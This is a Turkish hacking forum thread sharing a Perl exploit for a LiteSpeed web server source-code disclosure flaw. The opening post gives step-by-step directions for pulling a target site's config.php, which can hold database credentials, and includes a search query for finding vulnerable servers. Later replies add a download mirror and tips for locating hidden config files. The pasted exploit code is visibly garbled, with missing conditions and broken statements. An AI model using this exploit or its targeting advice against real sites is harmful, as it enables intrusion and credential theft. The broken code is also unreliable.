Evet Arkadaşlar Hala Birçok LiteSpeed Server'da Bu Açık Olduğu İçin Paylaşıyorum. Exploiti Kullanman İçin Bilgisayarında Perl Yüklü Olmalıdır Strawberry Perl neririm Aşağıda Vereceğim Exploit Kodlarını lite. pl olarak kaydet ve C:\Perl\Bin Klasrüne At Sonra Başlat > Çalıştır > cmd Gelen Ms-Dos Ekranına cd.. komutunu vererek C:\ dizinine kadar tekrarla C:\ ulaştıktan sonra cd C:\perl\bin Yazıp Enter'la ve Sonra Exploit Kodumuzu Yazıyoruz perl lite. pl www.hedefsitemiz.com config. php bu komut sana doğrudan config. php dosyasının içeriğini verir :) yani rahatça okursun. Exploit Kodları: #!/usr/bin/perl # #LiteSpeed Technologies Web Server Remote Source Code Disclosure zero-day Exploit #By Kingcope #Google search: ""Proudly Served by LiteSpeed Web Server"" #June 2010 #Thanks to TheDefaced for the idea, http://www.milw0rm.com/exploits/4556 # use IO::Socket; use strict; sub getphpsrc { my $host = shift; my $file = shift; if (substr($file, 0, 1) eq "/") my $file2 = $file; $file2 = s/\//_/g; print "Saving source code of $file into $host-$file2\n"; my $sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => '80', Proto => 'tcp') || die("Could not connect to $ARGV "); print $sock "GET /$file\x00. txt HTTP/1.1\r\nHost: $ARGV \r\nConnection: close\r\n\r\n"; my $buf = ""; my $lpfound = 0; my $saveme = 0; my $savveme = 0; while { if if ($saveme 2) if ($saveme!= 0 && $savveme 0) if if ($savveme 1) } if ($lpfound 0) open FILE, ">$host-$file2"; print FILE $buf; close FILE; print "Completed.\n"; } print "LiteSpeed Technologies Web Server Remote Source Code Disclosure Exploit\n"; print "By Kingcope\n"; print "June 2010\n\n"; if ($#ARGV!= 1) getphpsrc($ARGV , $ARGV ); print "Operation Completed :>.\n"; Umarım Faydalı Olmuştur (:

exploit'de sorun yaşayanlar http://rapidshare.com/files/413915958/lite. pl kendi upload'ım.

BEGIN not safe after errors--compilation aborted at lite. pl line 12. bunun anlamını bilen warmı :S

: config dosyasını okumak garanti hack yolu değil%15 ihtimalin var hacklemek için. zaten orda garanti hack yazmıyor config dosyasındaki database bilgilerine erişilip birşeyler yapılabilir.

kullananlar düşünsün :D eskiden lite speed server kullanıyodum.. eleman config i gizlesin yine çzüm olur :D Sorularınızı cilginsigortaci@gmail.com a yazabilirsiniz cevaplar facebook sayfasında >>> facebook.com/cilginsigortaci

: kullananlar düşünsün :D eskiden lite speed server kullanıyodum.. eleman config i gizlesin yine çzüm olur :D çzüm değil vBulletin config dosyasını gizlediğini varsayarsak vB sistem dosyalarından birinde config yolu yazıyor onu okuyup amacıma ulaşmıştım (: Not: çektiğiniz dosyalar C:\Perl\bin içine gider.

config dosyasını okumak garanti hack yolu değil%15 ihtimalin var hacklemek için. insanları Silahsızlandırmak onları kleleştirmek için En iyi Yoldur.

wardom & hackhell bi ara buradan vurulmu$tu sanırım. /opt/lsws/admin/misc/admpass. sh burdan pw'yi degistirebilir webmasterlar. ayrıca 4.0.12 & 4.0.14'te de buna benzer acıklar vardı. %40 indirimli olarak "Centos Sistem ve Sunucu Ynetimi" adlı kitabımızı satın alarak, Linux üzerine yapılacak olan devam projeleri icin destekte bulunabilirsiniz : http://www.hepsiburada.com/centos-sistem-ve-sunucu-yonetimi-oku-izle-dinle-ogren-p-KKODLAB01579

: wardom & hackhell bi ara buradan vurulmu$tu sanırım. /opt/lsws/admin/misc/admpass. sh burdan pw'yi degistirebilir webmasterlar. ayrıca 4.0.12 & 4.0.14'te de buna benzer acıklar vardı. evet (: hala bir çok Lite'de açık mevcut malesef.

güzel paylaşım sağol dostum Emekçiler ekmeklerini, emeklerinin karşılığı olarak ve nlenemez tarihi sürecin sonucu olarak mutlaka kazanacaklardır. Şüphesiz bu, zorlu bir dnemdir kısa vadeli ve greceli yenilgilerden geçer.